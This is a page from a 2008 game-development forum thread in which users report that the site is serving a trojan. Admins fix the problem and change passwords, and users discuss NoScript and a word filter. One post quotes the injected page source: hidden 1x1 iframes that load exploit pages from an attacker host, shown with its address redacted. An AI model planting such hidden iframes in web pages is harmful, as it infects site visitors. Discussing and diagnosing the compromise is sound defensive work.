Welcome, Guest. Please login or register.

Login with username, password and session length

 
Advanced search

1411664 Posts in 69396 Topics- by 58452 Members - Latest Member: Monkey Nuts

May 16, 2024, 05:30:42 AM

Need hosting? Check out Digital Ocean
(more details in this thread)
TIGSource ForumsPlayerGeneralTrojan virus?
Pages: 1 [2] 3 4
Print
Author Topic: Trojan virus?  (Read 10653 times)
muku
Level 10
*****


View Profile
« Reply #20 on: July 31, 2008, 12:08:30 PM »

Any idea how this stuff got onto the site in the first place?
Logged
handCraftedRadio
The Ultimate Samurai
Level 10
*



View Profile WWW
« Reply #21 on: August 01, 2008, 05:19:20 AM »

Yeah I caught it and it destroyed my laptop. Now I have to reformat again Sad .
Logged

Cray
Level 0
***

can't upload an avatar :(


View Profile WWW
« Reply #22 on: August 01, 2008, 09:36:40 AM »

Just got it again a few times on the forums. Here's where it appears in the page source:

Code:
</body></html><iframe src="http://ADDRESS/ice2/index.php" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>
<iframe src="http://ADDRESS/kallisto_tds/index.php?out=1210677157" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>

Address being that .su thing
Logged

▓█▓ rpg maker vx
▓█▓ cemetery manager
muku
Level 10
*****


View Profile
« Reply #23 on: August 01, 2008, 09:39:19 AM »

It's true, the iframes are back. Sad
Logged
moi
Level 10
*****


DILF SANTA


View Profile WWW
« Reply #24 on: August 01, 2008, 10:32:33 AM »

I don't know if it's related but the preview reply button doesn't seem to work for me
Logged

subsystems   subsystems   subsystems
Nate Kling
Pixelhead
Level 9
******


Caliber9


View Profile WWW
« Reply #25 on: August 01, 2008, 11:04:42 AM »

Ive been getting warnings with Norton today.  Sorry Tig but im not going on your forums with my home computer for a while... at least i can still use the university's computers  Wink
Logged

Zaphos
Guest
« Reply #26 on: August 01, 2008, 11:37:36 AM »

The noscript plugin should probably help, especially since the scripts are apparently hosted externally.
Logged
muku
Level 10
*****


View Profile
« Reply #27 on: August 01, 2008, 11:39:53 AM »

The noscript plugin should probably help, especially since the scripts are apparently hosted externally.

From what I've gathered, it actually doesn't seem to use a script, but exploits a hole in the Media Player plugin for non-IE browsers. No idea. Firefox seems to block the domain, though.
Logged
progrium
Level 2
**

Swords will fucking cut you wide open!


View Profile WWW
« Reply #28 on: August 01, 2008, 11:56:37 AM »

Fixed again and changed passwords. Let's see if it stays this way now.
Logged

Jeff Lindsay
progrium.com
Derek
Bastich
Administrator
Level 10
******



View Profile WWW
« Reply #29 on: August 01, 2008, 11:59:29 AM »

Aw hell. WTF

Well, hopefully the password change will do it.  I'm not at home right now, but I'll run a full scan on my box when I get the chance.
Logged
Zaphos
Guest
« Reply #30 on: August 01, 2008, 01:16:10 PM »

The noscript plugin should probably help, especially since the scripts are apparently hosted externally.

From what I've gathered, it actually doesn't seem to use a script, but exploits a hole in the Media Player plugin for non-IE browsers. No idea. Firefox seems to block the domain, though.
I think noscript will also block plugins on a per domain basis, though?
Logged
muku
Level 10
*****


View Profile
« Reply #31 on: August 01, 2008, 04:12:40 PM »

Quite possibly. I have no idea what the noscript plugin is or does.
Logged
Zaphos
Guest
« Reply #32 on: August 01, 2008, 04:27:55 PM »

It's just a firefox plugin that blocks scripts and plugins until the user specifically allows them (on a per domain granularity) -- https://addons.mozilla.org/en-US/firefox/addon/722
Logged
Zaphos
Guest
« Reply #33 on: August 02, 2008, 01:17:27 AM »

Fixed again and changed passwords. Let's see if it stays this way now.
Nope, it's bad again.
Logged
muku
Level 10
*****


View Profile
« Reply #34 on: August 02, 2008, 04:28:02 AM »

The forum is seriously acting up. When I try to post in the Indie Brawl design thread, I get an error page with:

Quote
Precondition Failed

The precondition on the request for the URL /index.php evaluated to false.
Logged
increpare
Guest
« Reply #35 on: August 02, 2008, 04:51:10 AM »

The forum is seriously acting up. When I try to post in the Indie Brawl design thread, I get an error page with:

Quote
Precondition Failed

The precondition on the request for the URL /index.php evaluated to false.

Oh no, that's the crappy anti-spam word filter more often that not.  Are you using any naughty words?  (like...ser-ver, ec-ho, f t p, &c.).  Someone should probably turn that filter thing off, or add a capcha instead of the big FAIL page or something.
Logged
muku
Level 10
*****


View Profile
« Reply #36 on: August 02, 2008, 05:47:44 AM »

What, you can't post "server"?

EDIT: Apparently you can. I have no idea what word any spam filter might have picked up on.
Logged
increpare
Guest
« Reply #37 on: August 02, 2008, 05:11:23 PM »

What, you can't post "server"?
That was a possible example.  I have reason to believe the list isn't for public consumption.  But it does exist.
Logged
Tanner
Level 10
*****


MMPHM *GULP*


View Profile WWW
« Reply #38 on: August 02, 2008, 08:51:23 PM »

E C H O CONFIRMED FOR WORDFILTER
Logged

___
Vice President of Marketing, Romeo Pie Software
Level 10
*


View Profile
« Reply #39 on: August 03, 2008, 12:13:38 AM »

echo.  save the whales.  ah ha, "echo." works, but not .... the word without the period.
Logged
Pages: 1 [2] 3 4
Print
Jump to:  

Theme orange-lt created by panic